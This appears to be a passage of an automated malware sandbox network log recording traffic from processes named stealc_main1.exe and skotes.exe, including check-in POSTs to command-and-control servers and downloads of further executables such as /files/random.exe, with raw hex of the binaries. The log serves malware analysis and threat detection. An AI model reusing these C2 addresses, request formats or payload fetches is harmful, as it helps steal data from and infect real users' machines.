Nov 20, 2024 16:52:10.586822987 CET	1236	IN	Data Raw: 00 8b 75 c4 8b 45 cc 40 e8 fe 09 00 00 8b f8 85 ff 74 0c 85 f6 74 08 56 57 ff 15 34 91 63 00 57 ff 15 0c 90 63 00 83 f8 ff 74 0b a8 10 75 07 bb 01 00 00 00 eb 02 33 db 8b c7 e8 bc 0a 00 00 85 db 0f 84 c3 04 00 00 33 ff 80 3d f4 cf 42 00 00 74 13 Data Ascii: uE@ttVW4cWctu33=Bt$GBuGEthBP4ccPEc4Fq8tEt}tPS4cWSchCc<G1uttSV4chC
Nov 20, 2024 16:52:10.586834908 CET	1236	IN	Data Raw: b8 8f 63 00 8b c6 e8 1c 06 00 00 8b 45 dc e8 14 06 00 00 8d 55 14 89 55 f8 8b 7d f8 b9 04 00 00 00 33 c0 f3 aa 33 c0 e8 fb 05 00 00 33 c0 e8 f4 05 00 00 8b 75 c4 8b c6 e8 ea 05 00 00 8b 75 a8 8b 7d b8 8d 85 bc fd ff ff 50 56 ff 15 cc 8f 63 00 85 Data Ascii: cEUU}333uu}PVcV@cE33EEE$E\|EpwEdoEXgEL_E@WE4O_^[]US3VW9]
Nov 20, 2024 16:52:10.586846113 CET	1120	IN	Data Raw: 00 00 00 85 c9 74 27 83 39 00 74 22 3b d1 75 08 8b d0 89 15 c4 91 63 00 8b 71 04 01 70 04 8b 71 08 89 70 08 8b 49 08 85 c9 74 03 89 41 0c 8b 48 0c 85 c9 74 25 83 39 00 74 20 3b d0 75 06 89 0d c4 91 63 00 8b 50 04 01 51 04 8b 50 08 89 51 08 8b 40 Data Ascii: t'9t";ucqpqpItAHt%9t ;ucPQPQ@tH_^[]cu=C3cCCCCcctt9t9A}Iuu t9t9A}Iu
Nov 20, 2024 16:52:10.586930037 CET	1236	IN	Data Raw: 48 6a 0b 68 f8 1a 43 00 68 04 1b 43 00 a3 04 89 63 00 e8 1c 1d 00 00 6a 09 a3 dc 89 63 00 68 10 1b 43 00 68 1c 1b 43 00 e8 06 1d 00 00 6a 0c 68 28 1b 43 00 68 38 1b 43 00 a3 28 8b 63 00 e8 f0 1c 00 00 6a 09 68 48 1b 43 00 68 54 1b 43 00 a3 ac 8c Data Ascii: HjhChCcjchChCjh(Ch8C(cjhHChTCcjh`ChpC$cjhChCcHjhChCcjhChC(cjhChCcijhChCPcSjhChC@c=
Nov 20, 2024 16:52:10.586944103 CET	1236	IN	Data Raw: 63 00 e8 58 18 00 00 6a 09 68 c8 20 43 00 68 d4 20 43 00 a3 4c 8c 63 00 e8 42 18 00 00 6a 0b 68 e0 20 43 00 68 ec 20 43 00 a3 e0 8c 63 00 e8 2c 18 00 00 83 c4 48 6a 0e 68 f8 20 43 00 68 08 21 43 00 a3 4c 8d 63 00 e8 13 18 00 00 6a 09 68 18 21 43 Data Ascii: cXjh Ch CLcBjh Ch Cc,Hjh Ch!CLcjh!Ch$!Chcjh0!Ch@!C\cj hP!Cht!Ccjh!Ch!Ccjh!Ch!C cHjh!Ch!Chcjh!Ch"Chcvjh"Ch$"
Nov 20, 2024 16:52:10.706226110 CET	1236	IN	Data Raw: 8d 63 00 e8 83 13 00 00 6a 09 68 58 28 43 00 68 64 28 43 00 a3 2c 8d 63 00 e8 6d 13 00 00 83 c4 48 6a 10 68 70 28 43 00 68 84 28 43 00 a3 bc 8c 63 00 e8 54 13 00 00 6a 0d 68 98 28 43 00 68 a8 28 43 00 a3 78 8c 63 00 e8 3e 13 00 00 6a 0d 68 b8 28 Data Ascii: cjhX(Chd(C,cmHjhp(Ch(CcTjh(Ch(Cxc>jh(Ch(Cc(jh(Ch(C\|cjh(Ch)Ccjh)Ch()C@cHjh@)ChT)Ccjhh)Ch\|)Ccjh)Ch)C\cjh)Ch

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.9	49922	31.177.109.184	80	7644	C:\Users\user\AppData\Local\Temp\1007698001\stealc_main1.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 16:52:12.102381945 CET	89	OUT	GET / HTTP/1.1 Host: 31.177.109.184 Connection: Keep-Alive Cache-Control: no-cache
Nov 20, 2024 16:52:13.647798061 CET	170	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 20 Nov 2024 15:52:13 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 0 Connection: keep-alive
Nov 20, 2024 16:52:13.652710915 CET	418	OUT	POST /8331a12a495c21b2.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----BKJKEBGDHDAFHJKEGIID Host: 31.177.109.184 Content-Length: 217 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 42 4b 4a 4b 45 42 47 44 48 44 41 46 48 4a 4b 45 47 49 49 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 33 41 46 32 43 38 30 30 32 32 41 46 32 38 31 32 36 33 31 37 35 0d 0a 2d 2d 2d 2d 2d 2d 42 4b 4a 4b 45 42 47 44 48 44 41 46 48 4a 4b 45 47 49 49 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 43 4c 4f 55 44 59 54 4e 45 57 53 0d 0a 2d 2d 2d 2d 2d 2d 42 4b 4a 4b 45 42 47 44 48 44 41 46 48 4a 4b 45 47 49 49 44 2d 2d 0d 0a Data Ascii: ------BKJKEBGDHDAFHJKEGIIDContent-Disposition: form-data; name="hwid"3AF2C80022AF281263175------BKJKEBGDHDAFHJKEGIIDContent-Disposition: form-data; name="build"CLOUDYTNEWS------BKJKEBGDHDAFHJKEGIID--
Nov 20, 2024 16:52:14.233272076 CET	178	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 20 Nov 2024 15:52:13 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 8 Connection: keep-alive Data Raw: 59 6d 78 76 59 32 73 3d Data Ascii: YmxvY2s=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.9	49927	185.215.113.43	80	8144	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 16:52:13.824148893 CET	184	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 30 37 36 39 38 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1007698001&unit=246122658369
Nov 20, 2024 16:52:15.197134018 CET	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 20 Nov 2024 15:52:14 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.9	49933	31.41.244.11	80	8144	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 16:52:15.328069925 CET	54	OUT	GET /files/random.exe HTTP/1.1 Host: 31.41.244.11
Nov 20, 2024 16:52:16.721079111 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 20 Nov 2024 15:52:16 GMT Content-Type: application/octet-stream Content-Length: 4407808 Last-Modified: Wed, 20 Nov 2024 13:33:18 GMT Connection: keep-alive ETag: "673de51e-434200" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 e9 85 3c 67 00 00 00 00 00 00 00 00 e0 00 0e 03 0b 01 02 28 00 fc 49 00 00 96 73 00 00 32 00 00 00 40 c5 00 00 10 00 00 00 10 4a 00 00 00 40 00 00 10 00 00 00 02 00 00 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 70 c5 00 00 04 00 00 85 51 43 00 02 00 40 00 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 5f 00 71 00 73 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2c 2f c5 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 dc 2e c5 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PEL<g(Is2@J@pQC@ _qs,/. px'@.rsrc p'@.idata q'@ 8q'@edxcvrdu'@syqfiudc0C@.taggant0@" C@
Nov 20, 2024 16:52:16.721100092 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 20, 2024 16:52:16.721115112 CET	448	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 20, 2024 16:52:16.721143007 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 20, 2024 16:52:16.721154928 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: _xF73`8X<HG?\|E\|
Nov 20, 2024 16:52:16.721165895 CET	448	IN	Data Raw: 53 71 eb db 9c 96 ac d0 2e f2 c2 94 5c 8a e5 04 e8 84 83 20 27 e2 ec 7f 5b 46 58 b5 fe 39 5c 2d 42 45 75 ac 84 81 d9 44 30 ac 15 26 88 2f f1 cf b3 8b a8 53 a7 86 a2 ba 39 35 1c cd 80 ca 51 77 63 3a 8e b9 28 2c 5d 27 c5 89 4e 51 56 a4 66 d1 8e ec Data Ascii: Sq.\ '[FX9\-BEuD0&/S95Qwc:(,]'NQVf\|umS!D})FGA2:Ki*\|t?sx]$I.QjN+6OutpDl,0SD;b'p3::@[-tvf"J!Q{So9Q5^84'kz
Nov 20, 2024 16:52:16.721256971 CET	1236	IN	Data Raw: 3e 53 65 8b b5 84 a3 0f 6b ab 87 89 ae 83 8c e8 11 0a 3d 8e aa 17 3e a5 ba 86 49 5c ba 13 a8 0b fd 06 5a 63 f5 19 ca b2 fd 16 fc 4d 97 3d 5a 2f 20 8d 5a 48 d5 ba 12 fe 2e e5 4c f0 7a 96 e6 29 93 ec b9 51 98 43 30 56 19 0d 78 15 5f 63 db f4 12 2a Data Ascii: >Sek=>I\ZcM=Z/ ZH.Lz)QC0Vx_cfc5p}#.R23)VztyyO7-BZ5S\ VF_G5 zf1e+pPBbE[BPA~NXWTD$5@[W'!uU4sARzkxgN\|o
Nov 20, 2024 16:52:16.721466064 CET	1236	IN	Data Raw: 1c 96 40 87 c8 f9 dc 86 0e 2a bf b4 fa 8f 8f a8 3f 7a 93 8d b5 56 07 92 3c c7 53 5f 36 1d 9c a8 fa 7b 66 43 34 ad 09 d9 e7 42 a3 0f ef 26 9d 97 29 24 5c d5 47 95 73 9b 13 26 54 24 d1 75 7c bb 05 32 11 a7 f4 5d 50 c4 fa d6 7b 67 31 7b 0d 62 28 10 Data Ascii: @*?zV<S_6{fC4B&)$\Gs&T$u\|2]P{g1{b(0";[~cl%qYVpGN}ADsb&X7Qp,n7`Yum:`)3"gD+kvYj=#3;P(3Q53/'gYO4\,m}9u
Nov 20, 2024 16:52:16.721476078 CET	448	IN	Data Raw: 17 da fb fe 01 87 dc 30 2e 45 f0 31 fb 49 52 83 2a 80 66 f0 5a 0c 66 9e 32 59 50 85 98 16 04 2f 2b dd 73 dd 54 67 2b c9 10 c4 17 42 cd 4b 63 5f 75 60 64 67 76 55 19 55 ee ba ba f9 4a e6 4f cf 4f 7a 61 46 7d a0 fa 6e 7b de 7b 1b c2 cc 1e ee d7 5c Data Ascii: 0.E1IRfZf2YP/+sTg+BKc_u`dgvUUJOOzaF}n{{\KNDC6!F7kks:=NJd")FxNn0u%3%>w.%}L]CS9zFFGl}:tOFar+uH-%yWPkc',pW<v1u2r:pF$j
Nov 20, 2024 16:52:16.721487045 CET	1236	IN	Data Raw: 2c 8d 7b 56 5b f4 70 95 98 72 0d cd a2 2c dc 71 d8 5a 76 fe fa 68 41 51 e6 16 a4 18 1f c9 04 d5 bc 73 e5 88 37 17 cc 9d 32 76 cd 7b 63 34 d7 5f 79 01 17 43 7f ee a3 98 28 32 8c c2 e4 72 93 34 12 19 7f 5b e7 c3 76 1f 11 25 05 e9 fa 87 b6 6d 9d ea Data Ascii: ,{V[pr,qZvhAQs72v{c4_yC(2r4[v%m>4t3~zL%t.A</dm%L(zZ(#.wt<MDOusu.\|NY;mZhy*xCm<@IdN#U}RBGv
Nov 20, 2024 16:52:16.842278004 CET	1236	IN	Data Raw: 64 72 da 52 98 f8 67 28 1f 24 3b c6 0c ae 7c aa cc 4f 80 80 e7 0d 57 90 aa 4a 64 8e 5c 88 d8 41 34 ec 6c 5b 73 3f b4 b4 dc 02 08 50 7b 9d fe 49 b6 0e cb 3f e8 0b 88 3b 12 b5 57 55 f6 3a 64 8f ee 1d 07 ea fb 39 6b 57 2f ac 89 56 32 12 6b 51 e6 b5 Data Ascii: drRg($;\|OWJd\A4l[s?P{I?;WU:d9kW/V2kQoew}uzy#5X~FNP1o_d4dAjhx)PJy&%Ax)&vSz4o%=G2Mo%2%mB*Nj/5=0LJXK&(WT,P`d51bpCi(rPa1o%4X10vh

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.9	49959	185.215.113.43	80	8144	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 16:52:26.604891062 CET	184	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 30 37 36 39 39 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1007699001&unit=246122658369
Nov 20, 2024 16:52:28.055742979 CET	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 20 Nov 2024 15:52:27 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port
12	192.168.2.9	49964	34.116.198.130	80

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 16:52:28.847099066 CET	87	OUT	GET /LCXOUUtXgrKhKDLYSbzW1732019347 HTTP/1.1 Host: home.fvtekk5pn.top Accept: /
Nov 20, 2024 16:52:30.317203045 CET	1236	IN	HTTP/1.1 200 OK server: nginx/1.22.1 date: Wed, 20 Nov 2024 15:52:30 GMT content-type: application/octet-stream content-length: 10815536 content-disposition: attachment; filename="36EpLiutqfXtaXMkXOTru;" last-modified: Tue, 19 Nov 2024 12:29:07 GMT cache-control: no-cache etag: "1732019347.4431374-10815536-3919321515" Data Raw: 9b 04 9e 1d e2 2a 68 73 fe d9 48 6f 2c 36 36 c8 a4 e4 ba e7 12 f9 22 5d 6f 07 aa d2 fb 8c a2 b3 95 1e b6 6c ff 92 32 40 41 97 30 99 34 26 c9 44 c2 1e 7f 22 13 cd 10 62 a7 32 f3 c2 5c 11 ed c0 71 4a 49 c7 9d 3e 95 07 3e 4a 0a 6f 63 4c 1a b8 b6 1a 3d 67 8e 9d ed 46 4c 04 61 0a c6 3c 7b 3a f6 0d 3f 30 0d 33 18 56 4c f0 76 7a 8b c7 a1 f1 75 64 d6 00 c3 e9 df 3a 1b 4f 35 50 64 a6 db 6b 23 6a aa e6 6c 33 a4 69 a7 80 16 e0 e4 49 7c d0 73 7d bf 61 a2 62 7a 62 8e 5b f4 4d a9 ba 05 ae 7f d8 0c 3c 1e 71 cb 84 47 32 b1 63 64 df 8e 7a 22 8c 8e 33 7d f1 20 f1 74 04 61 fd 18 55 10 be 45 7d f4 63 45 d4 d0 16 17 c4 c8 a6 7d 44 80 d2 ba e9 1a 17 37 63 43 e4 22 3e c5 e4 a4 16 51 4f 2d 57 23 3a 36 33 fa f3 c5 aa 04 00 79 5c 1f 43 8d f1 b2 56 df 86 17 bc df 28 44 b7 aa 85 64 2d 2f 94 0d a5 7c 18 37 92 cb 0d 76 40 2e 05 16 6a ce b1 8c 0a e3 7d 08 00 ce 6a ef d3 51 b9 3b 81 19 3c 3f 6c 3e 37 fe 3f d7 b3 7d 60 7e e2 b1 a4 1f 00 62 27 63 3d fd 4b 06 87 dc 8e 8e fa 56 9b bf 7a dc a3 07 20 e3 0b 1a f5 06 b1 0f 6d 27 af dd 1b [TRUNCATED] Data Ascii: hsHo,66"]ol2@A04&D"b2\qJI>>JocL=gFLa<{:?03VLvzud:O5Pdk#jl3iI\|s}abzb[M<qG2cdz"3} taUE}cE}D7cC">QO-W#:63y\CV(Dd-/\|7v@.j}jQ;<?l>7?}`~b'c=KVz m'3~\K ^m_F<4xrG/dz4?gv5,?^w@X^wZ1~7C+Z&dp`#9XgJC>e93VGh74x?x[3=YT.Qa `MG?_zGkB+(#8RUeY[x-$4`zAc`vmVlP+>tsd@>ydCHSnt+_`"FitXXD.}P #(4K<0b h;]6{bgEqvZ>4o]2?}#\|![L&!z";ZY<PPT9HC}M*65qs#ep%@LlGH)bj'7a: ;B3L0"
Nov 20, 2024 16:52:30.317287922 CET	1236	IN	Data Raw: b8 ff 32 30 58 cd 81 20 5f b7 4d f7 d5 77 53 0a 4f e7 60 83 ed 44 cc d0 f5 71 1e 4e 4f f8 01 9b 7d 28 47 50 fb 75 8d 8e 55 9f 9d c6 2b 06 24 6f 58 e4 80 8f e0 a2 b4 79 5d f7 cf 4a e0 fc b8 91 16 d1 c7 db 64 34 ea ff 9a 7a 67 99 a9 5e e5 15 9c c8 Data Ascii: 20X _MwSO`DqNO}(GPuU+$oXy]Jd4zg^h(>sNk=@nIEbcZ"~Q6]4AGc]>2+<X]2]CRq[Ya{YvF{m2*bg3\|8IBlm&
Nov 20, 2024 16:52:30.317373991 CET	1236	IN	Data Raw: 31 a0 27 b0 31 e8 22 a5 51 78 81 6b ea a9 43 84 11 c4 be 3a 3c 17 d0 63 57 c5 20 31 2f c5 f3 3d bf 67 df 7f 0a 0e 93 9c af 04 65 f3 af a9 d4 4f 98 e4 8e ec 3f 1b 0f e9 f3 b7 01 21 79 8f 56 8d ec 70 82 ac 4b 64 58 ce 90 f4 54 8d 94 fe aa 7b 06 b3 Data Ascii: 1'1"QxkC:<cW 1/=geO?!yVpKdXT{`6u}]dTlC%hU.\|zi<kGB5}mP=PNp?%G~e\|NSF{)OfI"&l6~/YLm#K>
Nov 20, 2024 16:52:30.317395926 CET	672	IN	Data Raw: 52 23 c5 90 d5 ff 98 77 06 c3 aa 7f 85 27 36 0c 3d 95 5d f4 72 4e 81 4b 66 ae 6d 23 f3 44 c6 b9 51 f6 7b 5b 38 44 ca f3 b2 7c cf 81 a7 28 04 b5 36 b4 fb 4f 20 f4 f8 c4 28 41 7e c3 7e 89 b0 03 17 ce b1 07 49 cd b1 88 29 27 55 18 25 6f 10 b0 06 82 Data Ascii: R#w'6=]rNKfm#DQ{[8D\|(6O (A~~I)'U%o%.8]<4428@9]VGi&3'/SvepiD`)fhOOu;{ad=E/Z7h(}ZD0EZE_EP=5>J5B
Nov 20, 2024 16:52:30.317586899 CET	1236	IN	Data Raw: 5f 98 bd b1 26 f9 4c 68 40 3a dc 9d 3b df 48 39 26 8b 0b be 85 6b 44 b5 95 1c 48 33 32 78 84 26 a8 30 ad e3 df 7a 9d ed a6 f3 e7 9f ca 0d 3c 1f 14 fc ff d5 f7 f0 a4 4f 89 7c 28 34 e3 c2 3b 83 27 a3 3d a9 91 06 3c a2 0f 5a 18 f0 42 e7 cb d2 b5 53 Data Ascii: _&Lh@:;H9&kDH32x&0z<O\|(4;'=<ZBS1a<aQNyA;4^p;'Okdm})q4F%L,;5Ip?7M4*#,H5`-cqoMSnG!^-&^vt4W/1#K
Nov 20, 2024 16:52:30.317673922 CET	1236	IN	Data Raw: 13 d9 ee 1d 09 52 20 58 3c e8 e7 03 dd 8b e7 2e 97 eb 47 c7 bf 9f 11 ef 1e 06 46 1d c5 d8 33 2a 07 0a 7c 03 59 3f 97 f8 ef 19 70 6e c2 33 10 e5 d1 c3 ff 94 69 d0 9c a4 a9 d0 d4 45 00 a2 ef 8a b7 6f 78 2f 72 9a f8 71 ee 3e 4d ec cd e0 d6 39 1b 0b Data Ascii: R X<.GF3*\|Y?pn3iEox/rq>M9{U@8^y,xy>oirT<1lV{\|g9wy(`}Dc}:&4(;'"1kzZpZ97~}<m{)F)O^
Nov 20, 2024 16:52:30.317754984 CET	248	IN	Data Raw: 5e d8 ac df f7 b7 cd 58 6a 05 79 4a ab c3 a5 d8 ca 6e d6 63 73 3a 81 1e b5 71 98 5f 67 42 70 4b f6 04 92 1a 36 e1 bd fc 1a 87 12 71 e8 15 2b 8b fc 83 2e 80 b2 9b c3 4b b8 25 85 73 5a 2e 20 ed 57 2c 20 61 54 7a b6 2c 68 3b 66 61 73 1c 1d e2 eb 23 Data Ascii: ^XjyJncs:q_gBpK6q+.K%sZ. W, aTz,h;fas#F@{Hy,Ir>T%}X\|(mM:ph';fv6 6N5t]S\|.<aoYRBb7VgfLh08uW_<u[:kh##2%dK
Nov 20, 2024 16:52:30.319103003 CET	1236	IN	Data Raw: a7 23 75 d9 4a cc 09 e0 ce d5 34 42 d5 9e 1a c8 d1 6e 5f e5 ee 81 7e 6c 10 bc 28 8b 4e b4 85 d7 7e d7 8d 76 5a 15 1d 94 d7 5c 83 e7 00 c3 dd f6 20 60 84 bf 40 4b 30 61 da f3 7a b6 aa 52 19 74 e1 50 44 7b 25 98 89 7b fc ad 61 fe 29 30 70 93 1e 44 Data Ascii: #uJ4Bn_~l(N~vZ\ `@K0azRtPD{%{a)0pD0o7i[w'ArYK,r!(mx"fY+cRu{.%o49`e\|WlI#](&}/\|vH3gpJ2IC}kS zH 6M-'}C\|L
Nov 20, 2024 16:52:30.319114923 CET	1236	IN	Data Raw: a0 c5 f8 5f db ba 96 de f8 e3 5f bb 9a ae ff a9 31 c0 05 dc 69 9d 42 ec 96 12 34 8d 46 b3 8f 84 c1 7d 5a 45 78 4d 39 a6 12 0d 34 2e 75 81 78 6d 02 a4 c4 8e b4 09 73 e1 93 44 8a 99 01 70 1e 8b 5e 1c 55 82 ba fe 09 b6 a6 5a a8 a5 14 4e ea db cf 27 Data Ascii: __1iB4F}ZExM94.uxmsDp^UZN'!Lji(V.G8O`a&i@kQr' V:Jb7;>:%B$'SRO1a=uH~@z4=Uny1'-s^b=}
Nov 20, 2024 16:52:30.319128036 CET	1236	IN	Data Raw: 51 51 ef d8 1f 32 39 5f b3 0f cc 25 d7 71 83 b7 85 12 f3 32 b3 d6 b5 2f cb 22 4d 58 28 ab 60 f3 ce 02 4f 7f 73 d8 de 54 41 e6 bb 74 5c f4 40 f0 ea c8 95 dc fe 60 16 0f 78 d7 a0 bf 55 46 df 1f a5 fc a6 a2 0f 7a a2 b4 8f e2 1a db da 83 a9 f8 4d c9 Data Ascii: QQ29_%q2/"MX(`OsTAt\@`xUFzMe(C--:1}\*q(MZ7vki/1\|<GTrL->}z8@I?chO/M'}:xUWJ#%A"Z2179x
Nov 20, 2024 16:52:30.438622952 CET	1236	IN	Data Raw: cc 5b ff 5b a4 26 37 2b 24 17 99 ac 3f d4 2b c5 0d a8 79 04 c5 6b 06 8a fd 0c 39 9a 83 b2 bb f7 eb 7d 8b 33 ab 2e f8 f1 97 78 de de aa 3b af 14 bb b7 fb 46 63 b6 8c e7 cd a8 51 b1 2c c0 9d 5e ef 49 38 c4 26 79 4c 60 ae 0b 4b 43 a9 03 7b cb db f3 Data Ascii: [[&7+$?+yk9}3.x;FcQ,^I8&yL`KC{t#^<vm$MPEK55I/Z\A[K6w]}#>[Q6_XlgC3(O88=bp^kpH&20#SNRxs;*#kC7!O

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.9	49714	142.250.181.68	443	4224	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-20 15:50:35 UTC	603	OUT	GET /complete/search?client=chrome-omni&gs_ri=chrome-ext-ansg&xssi=t&q=&oit=0&oft=1&pgcl=20&gs_rn=42&sugkey=AIzaSyBOti4mM-6x9WDnZIjIeyEU21OpBXqWBgw HTTP/1.1 Host: www.google.com Connection: keep-alive X-Client-Data: CIu2yQEIo7bJAQipncoBCNT9ygEIlqHLAQiFoM0BCNy9zQEIucrNAQip0c0BCInTzQEIqdXNAQjJ1s0BCPTWzQEIqNjNAQj5wNQVGOmYzQEY642lFw== Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-20 15:50:36 UTC	1367	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 15:50:36 GMT Pragma: no-cache Expires: -1 Cache-Control: no-cache, must-revalidate Content-Type: text/javascript; charset=UTF-8 Strict-Transport-Security: max-age=31536000 Content-Security-Policy: object-src 'none';base-uri 'self';script-src 'nonce-Gq861183R0Cog2kImkGjMw' 'strict-dynamic' 'report-sample' 'unsafe-eval' 'unsafe-inline' https: http:;report-uri https://csp.withgoogle.com/csp/gws/cdt1 Cross-Origin-Opener-Policy: same-origin-allow-popups; report-to="gws" Report-To: {"group":"gws","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/gws/cdt1"}]} Accept-CH: Sec-CH-Prefers-Color-Scheme Accept-CH: Save-Data Accept-CH: Downlink Accept-CH: ECT Accept-CH: RTT Accept-CH: Device-Memory Accept-CH: Sec-CH-UA-Form-Factors Accept-CH: Sec-CH-UA-Platform Accept-CH: Sec-CH-UA-Platform-Version Accept-CH: Sec-CH-UA-Full-Version Accept-CH: Sec-CH-UA-Arch Accept-CH: Sec-CH-UA-Model Accept-CH: Sec-CH-UA-Bitness Accept-CH: Sec-CH-UA-Full-Version-List Accept-CH: Sec-CH-UA-WoW64 Permissions-Policy: unload=() Content-Disposition: attachment; filename="f.txt" Server: gws X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2024-11-20 15:50:36 UTC	23	IN	Data Raw: 63 37 39 0d 0a 29 5d 7d 27 0a 5b 22 22 2c 5b 22 70 65 6e 74 61 67 6f Data Ascii: c79)]}'["",["pentago
